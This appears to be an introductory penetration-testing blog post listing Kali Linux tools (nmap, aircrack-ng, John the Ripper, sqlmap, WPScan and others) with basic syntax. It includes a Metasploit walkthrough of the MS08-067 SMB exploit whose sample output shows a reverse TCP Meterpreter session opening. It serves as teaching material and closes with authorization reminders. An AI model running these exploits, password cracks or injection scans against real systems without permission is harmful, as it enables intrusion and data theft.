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PENTEST DIARIES



@pentestdiaries



Leveraging Tools: Unveiling the Power of Kali Linux

Penetration Testing and Vulnerability Assessment:

- **Nmap (Network Mapper):** A versatile network scanner used for reconnaissance, identifying machines on a network, open ports, and services running.

Syntax:

```
nmap <target IP>
```

- **Aircrack-ng:** A suite of tools for wireless network analysis and penetration testing, including password cracking for Wi-Fi networks.

Syntax:

```
aircrack-ng <interface> -w <wordlist.txt> <capture file>
```

- **John the Ripper:** A password cracking tool that supports various hashing algorithms used to crack stolen password hashes.

Syntax:

```
john --format=<hash format> <password hash>
```

Metasploit:

1. **Launching Metasploit Framework:**
 - Open a terminal in Kali Linux and type `msfconsole` to launch the Metasploit Framework.
2. **Search for Modules:**
 - Once inside Metasploit, you can search for available modules using the `search` command. For example, type `search smb` to search for modules related to the Server Message Block (SMB) protocol.
3. **Selecting a Module:**
 - To use a specific module, you can select it using the `use` command followed by the module name. For example, use `exploit/windows/smb/ms08_067_netapi`.
4. **Viewing Module Options:**
 - You can view the options available for the selected module using the `show options` command. This displays the required and optional parameters that need to be configured before launching the exploit.
5. **Setting Module Options:**

- Set the required options for the module using the `set` command followed by the option name and its value. For example, `set RHOSTS target_ip` sets the remote host IP address.

6. Running the Exploit:

- Once all required options are set, you can run the exploit using the `exploit` command. This will attempt to exploit the target system based on the specified parameters.

```
msf6 > search smb

Matching Modules
=====

#  Name                                     Disclosure Date  Rank      Check  De
-  -
0  auxiliary/admin/smb/smb_enumshares        normal          No      Mic
1  auxiliary/scanner/smb/smb_login           normal          No      SME
...

msf6 > use exploit/windows/smb/ms08_067_netapi

msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name      Current Setting  Required  Description
----      -
RHOSTS    127.0.0.1       yes       The target address range or CIDR identifier
RPORT     445              yes       The target port (TCP)

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.10

RHOSTS => 192.168.1.10

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP double handler on 192.168.1.5:4444
[*] Sending stage (175174 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.10:12345) at 2024-06-15 12:34
```



Enumeration and Exploitation:

- **Nessus (Professional version requires a license):** A vulnerability scanner that identifies potential weaknesses in systems and applications.
- **Nikto:** A fast web server scanner that identifies outdated software, potentially dangerous scripts, and server configuration issues.

Syntax:

```
nikto -h <target URL>
```

- **sqlmap:** An automated tool for exploiting SQL injection vulnerabilities in web applications.

Syntax:

```
sqlmap -u <target URL> --dbs
```

Social Engineering and Web Application Security:

- **Social-Engineer Toolkit (SET):** A collection of tools to automate social engineering attacks (used for educational purposes only with proper permission).
- **WPScan:** A vulnerability scanner specifically designed for WordPress websites to identify security weaknesses and outdated plugins.

Syntax:

```
wpscan --url <target URL>
```

Important Information:

- Ethical use is critical. Only use these tools on authorized systems with proper permission.
- Proficiency in Linux commands is essential for using these tools effectively.
- Many of these tools have complex syntax and capabilities. Consult their documentation for detailed usage instructions.